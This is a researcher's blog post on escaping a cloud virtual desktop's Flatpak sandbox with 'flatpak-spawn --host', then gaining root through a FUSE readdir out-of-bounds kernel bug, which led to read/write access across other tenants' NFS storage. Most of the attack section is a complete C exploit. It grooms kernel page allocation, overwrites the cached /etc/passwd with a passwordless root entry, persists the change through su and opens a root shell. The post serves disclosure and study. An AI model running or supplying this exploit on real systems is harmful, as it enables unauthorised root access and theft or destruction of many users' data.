Logo
Overview
How I Hacked a Multi-Billion-Dollar Company

How I Hacked a Multi-Billion-Dollar Company

September 20, 2026
21 min read

How did it even started?

This security research started around the first week of September, when I came across a post on X/Twitter mentioning that <redacted> had launched its own VPS service called <redacted>.

image

It was exciting for me to see <redacted> entering the VPS space. However, I wasn’t particularly impressed by the amount of processing power and RAM they were offering.

image

Going through the comments on the post, I noticed that the VPS came with no terminal access and no root permissions.

Every VPS I had used before provided both of these features, so this immediately caught my attention. I became very curious and wanted to dig deeper to understand why these two features were restricted and what was happening behind the scenes.

A quick map of the security boundaries

Before getting into the investigation, it helps to separate the different layers involved. The browser is the interface to a remote desktop; the desktop runs applications; and those applications may have their own sandbox. The desktop also connects to storage outside the VM.

<redacted> Security Layers: browser session above stacked layers labeled Desktop VM, Sandboxed Application, Host Operating System, and Shared Storage, with Secure Data Access below.

This is a simplified map of the environment described in this research, not a complete deployment diagram. The arrows follow the investigation; they do not mean access to one layer automatically grants access to the next.

Here, “host” means the Linux operating system outside the Flatpak sandbox but still inside the desktop VM. It does not mean the cloud provider’s physical machine or hypervisor. A shell inside an application, a host shell as an ordinary user, and root inside the VM are three different levels of access. Access to another tenant’s storage is a separate question again.

A few concepts before we begin

Flatpak and application permissions

Flatpak packages desktop applications and runs them in a restricted environment called a sandbox. Think of it as giving an application its own workspace, with rules about which files, devices, and services it can reach. It is not a separate virtual machine.

The important part is the application’s actual permissions, not simply whether it uses Flatpak. Explicit permissions can open access beyond that workspace; portals can provide narrower, user-mediated access, such as selecting a file. An action permitted by the configuration is not, by itself, proof of a bug in Flatpak. Further reading: Flatpak sandbox permissions.

Flatpak sandbox overview showing restricted resources, explicit permissions, portals, and configuration-dependent access.

FUSE and the userspace/kernel boundary

Userspace is where ordinary programs run. The kernel is the privileged core of the operating system that manages resources such as memory and filesystems.

Applications and libraries in userspace communicate through the syscall interface with the Linux kernel and hardware.

FUSE means Filesystem in Userspace. It lets a userspace program implement filesystem behavior: the kernel forwards filesystem requests to that program and receives its replies. That exchange crosses a trust boundary. The kernel must validate the replies before using them; a userspace program supplying filesystem data should not gain control over kernel memory. Further reading: the Linux kernel’s FUSE overview.

FUSE request flow between a userspace application, the kernel virtual filesystem, and a userspace filesystem process using libfuse.

The page cache

The page cache is the kernel’s in-memory cache of file data. For ordinary buffered reads, Linux can reuse cached data rather than fetching the same contents from storage each time. Reading a file can therefore bring its data into memory even when the reader has no permission to modify the file.

That does not grant write permission: the kernel still has to enforce access controls. It is also important to distinguish cached contents from persistent contents on storage; changing memory does not automatically establish that a change has been written to disk. Further reading: Linux page cache.

Page-cache diagram illustrating cached reads, cache misses fetching data from disk, and buffered writes followed by writeback.

Getting Started

Fortunately, <redacted> provides a free 7 days trial, allowing users to test the product and explore its features. I signed up for the trial and started looking into it.

At first view, the VPS looks something like this:

HQvxOvgasAApLM2

looks pretty simple very first impressions. Here i again tried to verify if it actually does not have any terminal also checked the root permissions.

And indeed it did not have any specific terminal tho it had few idle which for sure had built in terminals. image

I also noticed it had a dedicated <redacted> AI Assistant application which was avaiable on the desktop from the start. I tested whether the assistant supported tool calling and found that it did not. I Also confirmed that the terminal was not provided for security reasons

image

The response for the questions which i had asked was slow aswell.

Moving forward, i started looking into application which it contained. There were around 119 application divided into 10 categories. The most funny part here is whenever you open any application it bascially opens in a chrome browser, so the application does not even have its original local copies aswell

Desktop application recording with company branding redacted

Getting the shell

too be honest here i directly jumped to vscodium because i didnt have much prior expereince in other ide’s mentioned above

image

I was happy here cause i can finally use the terminal to look into this whole os. My first assumptions were its a custom made OS wrapped on ubuntu.

Accessing the terminal via Vscodium i was able to run basic bash commands.

Screenshot 2026-09-17 at 8.45.52 PM

As you can see from the picture above, the hostname of the machine is ojbjp-0135. More surprisingly, it appears to be running inside a Flatpak runtime environment.

At this stage, I had no idea what Flatpak was, how it worked, or how it was related to VSCodium.

Going through the official VSCodium documentation, however, I found that it did mention Flatpak, which gave me my first clue about how the environment was set up.

image

very simple ai defintion of flatpak is this image

the key point here to note is how it had mentioned that it lets you run inside a “secure” isolated sandbox environments. So at this point my objectives were very clear.

  1. Escape the Flatpak sandbox.
  2. Find any linux privilege escalation vulnerabilities that could allow me to obtain root privileges.

as flatpak is open-sourced , i next started to look at its repositary to find any underlying issues or bugs which had been in the past.

i was able to get the info file for the flatpak which the system was using, it was stored at /.flatpak-info

image

The version which was been used in this was 1.14.6 and the latest version to date is 1.18.2. Yeah so bascially the version which was been used is around 2 years 4 months ago

image

I started looking at every github advisories published around flatpak image

There were around 26 publicly disclosed vulnerabilities associated with Flatpak.

The most recent high-severity CVE affecting recent versions was CVE-2026-90616, which had a CVSS score of 7.4 (High).

At the time, there was no publicly available proof of concept (PoC) for this vulnerability. However, after studying the vulnerability and understanding its underlying mechanics, recreating a working PoC did not seem particularly difficult.

image

Okay, so at this point, I finally had read/write access through the vulnerability. However, actually chaining this into something more impactful required a significant amount of effort.

My initial thought was to look for straightforward privilege-escalation paths, such as modifying cron jobs or altering SSH configuration/keys. Unfortunately, both of these paths were effectively blocked the relevant SSH files were only accessible to privileged users, and the same was true for the cron jobs I was interested in.

I was stuck at this stage for quite a while. After exploring several possible paths without making much progress, I decided to go back to where I had started and reconsider the environment from the beginning.

coming back to /.flatpak-info

i started understanding each and every line trying to find issues realted to the specific policies on github and very very fortunaterly i came across this issue

image

from the /.flatpak-info i already knew this specific policy was enabled

image

According to the Flatpak maintainers, this feature is completely intentional, and it is entirely the administrator’s responsibility to disable the policy before use. I haven’t tested Flatpak locally to determine whether this policy is enabled by default, but I’m assuming it is disabled by default.

The next step was the easiest. As mentioned in the issue, anyone can use the following command to execute non-root commands on the host machine:

flatpak-spawn --host <command>

I used this to spawn a Bash shell and verified whether it was indeed a local shell. It was.

image

Since 2026 seems to be the p3ak season for Linux privilege escalation vulnerabilities, I was about 95% sure that I would find a Linux privilege escalation poc already available somewhere on the internet.

I started with some basic, well known LPEs that had a significant impact, copy.fail and DirtyFrag. If you had read my previous blog. I have already mentioned these two Linux privilege escalation bugs and how I use them in the vending machines.

image

image

Fortunately, both the common exploits which have been exploited in the past have been fixed. Finding the Linux privilege escalation from here was the very tricky and fun part, as the most common part of the exploits was already patched.

Finding the Exploit

after uname -r I was sure that the exploits before July 2026 were all patched, and I need to find something recently found. Here uname -r basically prints the kernel release version, which in this case was 6.17.0-1022-azure

image

There were a few factors on which I was searching for the POCs. For example:

  1. It should atleast have good written writeup or some poc.
  2. The vulnerability should not have any prerequisites in order to run.

Finding a few solutions, I came across this very wonderful blog https://cyberstan.co.uk/fuse-readdir-oob/

This was exactly the thing I wanted. It was very well written and had a POC already attached with it. It also described what the exact vulnerability is.

so this bug is basically a missing bounds check in FUSE’s readdir cache When a directory is opened with FOPEN_CACHE_DIR, the kernel packs struct fuse_dirent records into page-cache pages. fuse_add_dirent_to_cache() checks whether the next record fits in what’s left of the current page but never whether the record fits in a page at all.

A FUSE directory entry is, here

image

namessize
ino8 bytes
off8 bytes
namelen4 bytes
type4 bytes
= 24 bytes

The fixed part is 24 bytes reclen = ALIGN(24 + dirent->namelen, 8);

example: if namelen = 5 then (24 + 5 = 29) -> ALIGN(29, 8) = 32 therefore reclen = 32

reclen = FUSE_DIRENT_SIZE(dirent); /* ALIGN(24 + namelen, 8) */
offset = size & ~PAGE_MASK;
if (offset + reclen > PAGE_SIZE) { /* "does it fit in REMAINING space?" — YES it asks this */
index++;
offset = 0; /* "no: go to a fresh page" — but that doesn't make it fit */
}
memcpy(addr + offset, dirent, reclen); /* reclen never compared to PAGE_SIZE itself */

A malicious FUSE daemon sets namelen = 4095, making the serialized record ALIGN(24 + 4095, 8) = 4120 bytes. The kernel moves to a “fresh page” (offset 0) and then memcpys 4120 bytes into a 4096-byte page -> (4120 - 4096 = 24 bytes): a controlled 24-byte write off the end of one kernel page into the physical page that follows it

Since the code never checks whether reclen itself exceeds PAGE_SIZE, it moves the dirent to a fresh page (offset = 0) and proceeds to memcpy all 4120 bytes into a 4096 bytes page writing 24 bytes past its end into whatever kernel page follows it in memory.

image

Untitled-2026-09-19-2217

The overflow can’t write anywhere we want. It spills into the first 24 bytes of the next physical page. To make that useful, we need something worth changing to land there.

When Linux reads a file, it keeps its contents in memory in the page cache. Reading /etc/passwd brings its contents into RAM too. We don’t need permission to modify the file to get it cached reading it is enough.

The final Exploit

Getting /etc/passwd into memory is only half the problem. Its cached page still needs to end up immediately after the vulnerable FUSE page.

The exploit starts with two physical frames that are likely adjacent, frees them one at a time, and tries to make the kernel reuse them for two different purposes.

Assume allocator grooming produces two candidate physical frames

image

The exploit first asks the kernel to discard the existing cached copy of /etc/passwd

posix_fadvise(passwd_fd, 0, 0, POSIX_FADV_DONTNEED);

It then releases pool page B:

image

Next, it reads one byte from offset zero:

pread(passwd_fd, &tmp, 1, 0);

Although the program requests only one byte, Linux manages cached file data in pages. A page cache miss therefore causes the kernel to:

  1. allocate a physical page;
  2. associate it with /etc/passwd and file-page index zero
  3. load the beginning of the file into it
  4. return the requested byte.

Because physical frame B was released immediately before this allocation, the exploit hopes the allocator returns B:

image

this is how /etc/passwd will apear right after the page a(controled by attacker)

The FUSE READDIR request was started earlier, but the malicious FUSE handler deliberately paused its response:

Once /etc/passwd hopefully occupies B, the exploit releases A:

image

It then permits the FUSE handler to return its directory entry. The kernel now needs to allocate a page for the FUSE directory cache. Because A was just released, the exploit hopes this allocation reuses A:

image

The vulnerable kernel code maps the FUSE cache page and performs a 4,120-byte copy into it.

page-placement-frames-441-600

This is how the exploit looks like

fuse-24-bytes-clean-30s-ezgif.com-video-to-gif-converter (1)

image

the pulically avaiable poc is here

/*
* FUSE readdir cache OOB write - LPE
*
* Bug: fuse_add_dirent_to_cache() does memcpy(addr, dirent, 4120) into
* a 4096-byte page when namelen=4095, overflowing 24 bytes into PFN+1.
*
* Grooming: hold ~10% of free memory to drain PCP, then allocate pool.
* Consecutive pool pages come from buddy splits -> physically adjacent.
*
* PoC flow:
* 1. Drain PCP, allocate pool, pick consecutive pair
* 2. Free "before" page, trigger FUSE readdir -> overflow into "after"
*
* LPE flow:
* 1. Drain PCP, allocate pool, pick consecutive pair
* 2. Evict /etc/passwd, free "after" -> passwd lands on "after" PFN
* 3. Free "before", trigger readdir -> overflow into passwd page cache
* 4. su root (empty password), persist, drop caches, root shell
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <dirent.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/fuse.h>
#include <pthread.h>
#include <stdint.h>
#define PAGE_SZ 4096
#define FUSE_BUFSIZE (64 * 1024)
/* Drain: 1MB blocks, dynamically scaled to ~10% of MemFree */
#define DRAIN_BLOCK_SIZE (256 * PAGE_SZ)
#define DRAIN_MAX_BLOCKS 1024
#define POOL_SIZE 128
static int drain_nblocks = 0;
#define OVERFLOW_NAMELEN 4095
#define OVERFLOW_RECLEN 4120
#define OVERFLOW_CTRL 23
#define FUSE_HDR_SZ 24
/* 23-byte payload: passwordless root entry + comment absorber */
static const char PAYLOAD[OVERFLOW_CTRL] =
"root::0:0:x:.:\n#######";
#define SU_PASSWORD ""
static const char MARKER[OVERFLOW_CTRL] = "DEADBEEF_OOB_WRITE_HIT!";
#define FUSE_ROOT_ID_ 1
#define DIR_NODEID_BASE 100
#define MAX_ATTEMPTS 200
#define WARMUP_ROUNDS 5
static int fuse_fd = -1;
static char *mountpoint = NULL;
static int attempt_num = 0;
static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;
static pthread_cond_t cond_arrived = PTHREAD_COND_INITIALIZER;
static pthread_cond_t cond_respond = PTHREAD_COND_INITIALIZER;
static int readdir_arrived = 0;
static int readdir_respond = 0;
/* Compute drain size from /proc/meminfo (unprivileged) */
static void compute_drain_size(void) {
long free_kb = 0;
FILE *f = fopen("/proc/meminfo", "r");
if (f) {
char line[256];
while (fgets(line, sizeof(line), f))
if (sscanf(line, "MemFree: %ld kB", &free_kb) == 1) break;
fclose(f);
}
if (free_kb <= 0) {
drain_nblocks = 4;
} else {
long drain_bytes = (free_kb / 10) * 1024;
drain_nblocks = (int)(drain_bytes / DRAIN_BLOCK_SIZE);
if (drain_nblocks < 4) drain_nblocks = 4;
if (drain_nblocks > DRAIN_MAX_BLOCKS) drain_nblocks = DRAIN_MAX_BLOCKS;
}
fprintf(stderr, "[drain] MemFree=%ldMB -> drain=%d blocks (%dMB)\n",
free_kb / 1024, drain_nblocks, drain_nblocks);
}
/* /etc/passwd backup saved before any overflows */
static char passwd_backup[16384];
static ssize_t passwd_backup_len = 0;
static char dirent_buf[OVERFLOW_RECLEN];
static void die(const char *msg) { perror(msg); _exit(1); }
static void pin_cpu(int cpu) {
cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof(set), &set);
}
/* ---- FUSE protocol ---- */
static void fuse_reply(uint64_t unique, int32_t error,
const void *data, size_t datalen) {
struct fuse_out_header oh = {
.len = sizeof(oh) + datalen, .error = error, .unique = unique,
};
struct iovec iov[2] = {{ &oh, sizeof(oh) }, { (void*)data, datalen }};
(void)writev(fuse_fd, iov, datalen ? 2 : 1);
}
static void fuse_reply_err(uint64_t u, int e) { fuse_reply(u, -e, NULL, 0); }
static void fill_attr(struct fuse_attr *a, uint64_t ino, int dir) {
memset(a, 0, sizeof(*a)); a->ino = ino;
a->size = dir ? 4096 : 0; a->mode = dir ? (S_IFDIR|0755) : (S_IFREG|0644);
a->nlink = dir ? 2 : 1; a->uid = getuid(); a->gid = getgid(); a->blksize = 4096;
}
static void handle_init(struct fuse_in_header *h, void *body) {
(void)body; struct fuse_init_out out = {0};
out.major = FUSE_KERNEL_VERSION; out.minor = FUSE_KERNEL_MINOR_VERSION;
out.max_background = 16; out.congestion_threshold = 12;
out.max_write = 4096; out.time_gran = 1; out.max_pages = 2;
fuse_reply(h->unique, 0, &out, sizeof(out));
}
static void handle_lookup(struct fuse_in_header *h, char *name) {
if (strncmp(name, "trigdir", 7) == 0) {
uint64_t nid = DIR_NODEID_BASE + (uint64_t)attempt_num;
struct fuse_entry_out out = {0};
out.nodeid = nid; out.generation = 1;
fill_attr(&out.attr, nid, 1);
fuse_reply(h->unique, 0, &out, sizeof(out));
} else fuse_reply_err(h->unique, ENOENT);
}
static void handle_getattr(struct fuse_in_header *h) {
struct fuse_attr_out out = {0};
fill_attr(&out.attr, h->nodeid,
h->nodeid == FUSE_ROOT_ID_ || h->nodeid >= DIR_NODEID_BASE);
fuse_reply(h->unique, 0, &out, sizeof(out));
}
static void handle_opendir(struct fuse_in_header *h) {
struct fuse_open_out out = {0};
out.fh = 0x100 + attempt_num; out.open_flags = (1<<3); /* FOPEN_CACHE_DIR */
fuse_reply(h->unique, 0, &out, sizeof(out));
}
static void handle_readdir(struct fuse_in_header *h, void *body) {
struct fuse_read_in *ri = body;
if (ri->offset != 0) { fuse_reply(h->unique, 0, NULL, 0); return; }
/* Block until main thread signals us to reply (grooming window) */
pthread_mutex_lock(&mtx);
readdir_arrived = 1; pthread_cond_signal(&cond_arrived);
while (!readdir_respond) pthread_cond_wait(&cond_respond, &mtx);
readdir_respond = 0; readdir_arrived = 0;
pthread_mutex_unlock(&mtx);
fuse_reply(h->unique, 0, dirent_buf, OVERFLOW_RECLEN);
}
static void *fuse_loop(void *arg) {
(void)arg; char buf[FUSE_BUFSIZE];
while (1) {
ssize_t n = read(fuse_fd, buf, sizeof(buf));
if (n < 0) { if (errno == ENODEV || errno == EBADF) break; continue; }
struct fuse_in_header *h = (struct fuse_in_header *)buf;
void *body = buf + sizeof(*h);
switch (h->opcode) {
case FUSE_INIT: handle_init(h, body); break;
case FUSE_LOOKUP: handle_lookup(h, body); break;
case FUSE_GETATTR: handle_getattr(h); break;
case FUSE_OPENDIR: handle_opendir(h); break;
case FUSE_READDIR: handle_readdir(h, body); break;
case FUSE_RELEASEDIR: case FUSE_RELEASE: case FUSE_FLUSH:
fuse_reply(h->unique, 0, NULL, 0); break;
case FUSE_FORGET: break;
case FUSE_STATFS: {
struct fuse_statfs_out s = {0};
s.st.blocks=1000; s.st.bfree=500; s.st.bavail=500;
s.st.namelen=255; s.st.bsize=4096;
fuse_reply(h->unique, 0, &s, sizeof(s)); break;
}
default: fuse_reply_err(h->unique, ENOSYS); break;
}
}
return NULL;
}
/* Build oversized dirent: namelen=4095 -> reclen=4120 -> 24-byte overflow */
static void build_dirent(const char *payload) {
struct fuse_dirent *d = (struct fuse_dirent *)dirent_buf;
memset(dirent_buf, 0, sizeof(dirent_buf));
d->ino = 1000; d->off = 1; d->namelen = OVERFLOW_NAMELEN; d->type = DT_REG;
memset(d->name, 'A', OVERFLOW_NAMELEN);
memcpy(d->name + (PAGE_SZ - FUSE_HDR_SZ), payload, OVERFLOW_CTRL);
dirent_buf[OVERFLOW_RECLEN - 1] = '\n';
}
static void *trigger_readdir(void *arg) {
int a = *(int *)arg; pin_cpu(0);
char path[512];
snprintf(path, sizeof(path), "%s/trigdir_%d", mountpoint, a);
DIR *d = opendir(path);
if (!d) { perror("opendir"); return NULL; }
(void)readdir(d); closedir(d); return NULL;
}
static void finish_readdir(pthread_t trig) {
pthread_mutex_lock(&mtx);
readdir_respond = 1; pthread_cond_signal(&cond_respond);
pthread_mutex_unlock(&mtx);
pthread_join(trig, NULL);
}
/* ---- Page pool with PCP drain ---- */
struct pool_state {
void *drain_blocks[DRAIN_MAX_BLOCKS];
int drain_count;
void *pool[POOL_SIZE];
};
static void alloc_pool(struct pool_state *st) {
/* Drain: hold large blocks to exhaust PCP freelists */
st->drain_count = 0;
for (int i = 0; i < drain_nblocks; i++) {
st->drain_blocks[i] = mmap(NULL, DRAIN_BLOCK_SIZE,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
-1, 0);
if (st->drain_blocks[i] == MAP_FAILED) { st->drain_blocks[i] = NULL; break; }
*(volatile char *)st->drain_blocks[i] = (char)i;
*(volatile char *)(st->drain_blocks[i] + DRAIN_BLOCK_SIZE - PAGE_SZ) = (char)i;
st->drain_count++;
}
/* Pool: consecutive pages are adjacent after PCP drain */
for (int i = 0; i < POOL_SIZE; i++) {
st->pool[i] = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (st->pool[i] != MAP_FAILED)
*(volatile char *)st->pool[i] = (char)i;
}
}
static void free_pool(struct pool_state *st) {
for (int i = 0; i < POOL_SIZE; i++)
if (st->pool[i] && st->pool[i] != MAP_FAILED)
{ munmap(st->pool[i], PAGE_SZ); st->pool[i] = NULL; }
for (int i = 0; i < st->drain_count; i++)
if (st->drain_blocks[i])
{ munmap(st->drain_blocks[i], DRAIN_BLOCK_SIZE); st->drain_blocks[i] = NULL; }
st->drain_count = 0;
}
/* ---- PoC: overflow into own page ---- */
static int attempt_poc(void) {
attempt_num++;
pthread_mutex_lock(&mtx);
readdir_arrived = 0; readdir_respond = 0;
pthread_mutex_unlock(&mtx);
pthread_t trig;
pthread_create(&trig, NULL, trigger_readdir, &attempt_num);
pthread_mutex_lock(&mtx);
while (!readdir_arrived) pthread_cond_wait(&cond_arrived, &mtx);
pthread_mutex_unlock(&mtx);
pin_cpu(0);
struct pool_state st;
memset(&st, 0, sizeof(st));
alloc_pool(&st);
int idx = (attempt_num % (POOL_SIZE - 1));
void *page0 = st.pool[idx];
void *page1 = st.pool[idx + 1];
if (!page0 || page0 == MAP_FAILED || !page1 || page1 == MAP_FAILED) {
free_pool(&st);
finish_readdir(trig);
return 0;
}
memset(page1, 'V', PAGE_SZ);
munmap(page0, PAGE_SZ);
st.pool[idx] = NULL;
finish_readdir(trig);
int hit = (memcmp(page1, MARKER, OVERFLOW_CTRL) == 0);
free_pool(&st);
return hit;
}
/* ---- LPE: overflow into /etc/passwd page cache ---- */
static int attempt_lpe(void) {
attempt_num++;
pin_cpu(0);
struct pool_state st;
memset(&st, 0, sizeof(st));
alloc_pool(&st);
int idx = (attempt_num % (POOL_SIZE - 1));
void *before = st.pool[idx];
void *after = st.pool[idx + 1];
if (!before || before == MAP_FAILED || !after || after == MAP_FAILED) {
free_pool(&st);
return 0;
}
pthread_mutex_lock(&mtx);
readdir_arrived = 0; readdir_respond = 0;
pthread_mutex_unlock(&mtx);
pthread_t trig;
pthread_create(&trig, NULL, trigger_readdir, &attempt_num);
pthread_mutex_lock(&mtx);
while (!readdir_arrived) pthread_cond_wait(&cond_arrived, &mtx);
pthread_mutex_unlock(&mtx);
/* Evict passwd, free "after" -> passwd allocates on "after" PFN */
int passwd_fd = open("/etc/passwd", O_RDONLY);
if (passwd_fd < 0) die("open passwd");
posix_fadvise(passwd_fd, 0, 0, POSIX_FADV_DONTNEED);
munmap(after, PAGE_SZ);
st.pool[idx + 1] = NULL;
char tmp;
(void)pread(passwd_fd, &tmp, 1, 0);
/* Free "before" -> readdir allocates on "before" PFN -> overflow into passwd */
munmap(before, PAGE_SZ);
st.pool[idx] = NULL;
finish_readdir(trig);
char check[80] = {0};
(void)pread(passwd_fd, check, 79, 0);
int hit = (memcmp(check, "root::0:0:x:.:", 14) == 0);
close(passwd_fd);
free_pool(&st);
return hit ? 1 : 0;
}
/* ---- FUSE mount via fusermount3 ---- */
static int setup_fuse(void) {
int sv[2];
mountpoint = strdup("/tmp/fuse_oob_XXXXXX");
if (!mkdtemp(mountpoint)) die("mkdtemp");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) die("socketpair");
pid_t pid = fork();
if (pid < 0) die("fork");
if (pid == 0) {
close(sv[0]); char e[32];
snprintf(e, sizeof(e), "_FUSE_COMMFD=%d", sv[1]); putenv(e);
execl("/bin/fusermount3", "fusermount3", mountpoint, NULL);
execl("/usr/bin/fusermount3", "fusermount3", mountpoint, NULL);
die("fusermount3");
}
close(sv[1]);
struct msghdr msg = {0}; char cmsg_buf[CMSG_SPACE(sizeof(int))];
char data; struct iovec iov = { &data, 1 };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
if (recvmsg(sv[0], &msg, 0) < 0) die("recvmsg");
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg || cmsg->cmsg_type != SCM_RIGHTS) return -1;
fuse_fd = *(int*)CMSG_DATA(cmsg); close(sv[0]);
int st2; waitpid(pid, &st2, 0);
return (WIFEXITED(st2) && WEXITSTATUS(st2)==0) ? 0 : -1;
}
static void cleanup(void) {
if (!mountpoint) return;
char cmd[256];
snprintf(cmd, sizeof(cmd), "fusermount3 -u %s 2>/dev/null; "
"umount -l %s 2>/dev/null", mountpoint, mountpoint);
(void)system(cmd); rmdir(mountpoint);
}
/* ---- main ---- */
int main(int argc, char **argv) {
int poc_only = 0, num_rounds = 50;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--poc") == 0) poc_only = 1;
else if (strcmp(argv[i], "-n") == 0 && i+1 < argc)
num_rounds = atoi(argv[++i]);
}
setbuf(stdout, NULL); setbuf(stderr, NULL); pin_cpu(0);
compute_drain_size();
printf("=== FUSE readdir OOB - LPE ===\n");
printf("=== drain %dMB + pool %d ===\n\n", drain_nblocks, POOL_SIZE);
if (setup_fuse() < 0) return 1;
printf("[+] FUSE at %s\n", mountpoint);
/* Backup /etc/passwd before any overflows corrupt the page cache */
if (!poc_only) {
int bfd = open("/etc/passwd", O_RDONLY);
if (bfd >= 0) {
passwd_backup_len = read(bfd, passwd_backup, sizeof(passwd_backup) - 1);
close(bfd);
if (passwd_backup_len > 0) {
passwd_backup[passwd_backup_len] = '\0';
FILE *bf = fopen("/tmp/.passwd_backup", "w");
if (bf) { fwrite(passwd_backup, 1, passwd_backup_len, bf); fclose(bf); }
printf("[+] /etc/passwd backed up (%zd bytes)\n", passwd_backup_len);
}
}
}
pthread_t ft; pthread_create(&ft, NULL, fuse_loop, NULL);
usleep(300000);
if (poc_only) {
build_dirent(MARKER);
int hits = 0;
for (int i = 0; i < num_rounds; i++) {
printf("[%3d/%d] ", i+1, num_rounds); fflush(stdout);
int r = attempt_poc();
if (r) { hits++; printf("HIT (%d/%d=%.0f%%)\n", hits,i+1,100.0*hits/(i+1)); }
else printf("miss\n");
usleep(5000);
}
printf("\n=== %d/%d (%.1f%%) ===\n", hits, num_rounds, 100.0*hits/num_rounds);
cleanup(); return (hits > 0) ? 0 : 1;
}
/* Warmup: validate overflow with marker */
printf("--- Warmup ---\n\n");
build_dirent(MARKER);
int wh = 0;
for (int i = 0; i < WARMUP_ROUNDS; i++) {
printf("[*] W%d/%d ... ", i+1, WARMUP_ROUNDS); fflush(stdout);
int r = attempt_poc();
if (r) { wh++; printf("HIT (%d)\n", wh); } else printf("miss\n");
usleep(5000);
}
printf("\n[+] Warmup: %d/%d (%.0f%%)\n", wh, WARMUP_ROUNDS,
100.0*wh/WARMUP_ROUNDS);
if (wh == 0) {
printf("[-] No warmup hits.\n");
cleanup(); return 1;
}
/* LPE: corrupt /etc/passwd */
printf("\n--- LPE ---\n\n");
build_dirent(PAYLOAD);
{ char r[80]={0}; int fd=open("/etc/passwd",O_RDONLY);
if(fd>=0){(void)pread(fd,r,79,0);close(fd);}
char *nl=strchr(r,'\n'); if(nl)*nl=0;
printf("[+] before: %s\n\n", r); }
for (int i = 0; i < MAX_ATTEMPTS; i++) {
printf("[*] LPE %d/%d ... ", i+1, MAX_ATTEMPTS); fflush(stdout);
int result = attempt_lpe();
if (result == 1) {
printf("HIT!\n\n");
printf("[+] Page cache corrupted\n");
/* Post-exploitation: build new passwd from clean backup,
* use su to persist it and drop caches as root */
if (passwd_backup_len > 0) {
char *first_nl = strchr(passwd_backup, '\n');
if (first_nl) {
char new_passwd[16384];
int nlen = snprintf(new_passwd, sizeof(new_passwd),
"root::0:0:root:/root:/bin/sh\n%s",
first_nl + 1);
FILE *fp = fopen("/tmp/.passwd_new", "w");
if (fp) { fwrite(new_passwd, 1, nlen, fp); fclose(fp); }
}
} else {
(void)system(
"tail -n +2 /tmp/.passwd_backup > /tmp/.passwd_tail && "
"echo 'root::0:0:root:/root:/bin/sh' > /tmp/.passwd_new && "
"cat /tmp/.passwd_tail >> /tmp/.passwd_new && "
"rm -f /tmp/.passwd_tail"
);
}
printf("[+] Persisting + dropping caches as root...\n");
(void)system(
"echo '' | su -s /bin/sh -c '"
"cp /tmp/.passwd_new /etc/passwd && "
"chmod 644 /etc/passwd && "
"rm -f /tmp/.passwd_new /tmp/.passwd_backup && "
"echo 3 > /proc/sys/vm/drop_caches && "
"echo [+] done"
"' root 2>/dev/null"
);
printf("\n");
char v[128]={0}; int fd=open("/etc/passwd",O_RDONLY);
if(fd>=0){(void)pread(fd,v,127,0);close(fd);}
char *nl=strchr(v,'\n'); if(nl)*nl=0;
printf("========================================\n");
printf("[+] /etc/passwd: %s\n", v);
printf("[+] su -s /bin/sh root (empty password)\n");
printf("========================================\n\n");
cleanup();
execl("/bin/su", "su", "-s", "/bin/sh", "root", NULL);
(void)system("echo '' | su -s /bin/sh root");
return 0;
}
printf("miss\n"); usleep(10000);
}
printf("\n[-] Failed after %d attempts\n", MAX_ATTEMPTS);
cleanup(); return 1;
}

and yeah it worked

image

I was able to successfully obtain a root shell, and from this point onward, I had full control over the system.

The architecture is a virtual desktop platform where each user’s desktop home directory lives on a shared NFS storage layer each NFS volume is 100 TiB and is shared among ~9,000+ accounts, with 100+ such volumes on a single filer

As root on a virtual desktop VM, I was able to mount the NFS filer’s pseudo-root read-only and enumerate 150 production volumes (fs_cons_prod_01 … fs_cons_prod_106+), each exposing ~9,000+ account directories.

image

basically 1 prod is shared by around 9000 accounts and there were roughly ~1M tenant directories

Screenshot 2026-09-20 at 2.19.53 AM

for reference my account_id is 001239731063_0 -> /fs_cons_prod_<NN>/<account_id>/<account_id>_<profile>

Total provisioned storage is around 15,000 TiB (~14.65 PiB / 16,500 TB / 16.5 PB) across 150 production volumes

At this point, i had read/write access to every tenant’s storage on the shared filer which is around 150 volumes, ~1.37M account directories.

Every tenant’s virtual desktop was essentially a full PC like documents, downloads, browser data, application state, credentials, everything a user would store on their computer. With read/write access across ~1.37M accounts, a malicious actor could have exfiltrated, modified, or destroyed the entire personal data of over a million users.

Ending Note

So yes, eventually I was paid a total amount of $750 for finding this critical vulnerability.

bounty

Now that I’m in my final year, I’m actively looking for internship opportunities. If you know of any openings or can help me with a referral, I’d really appreciate it.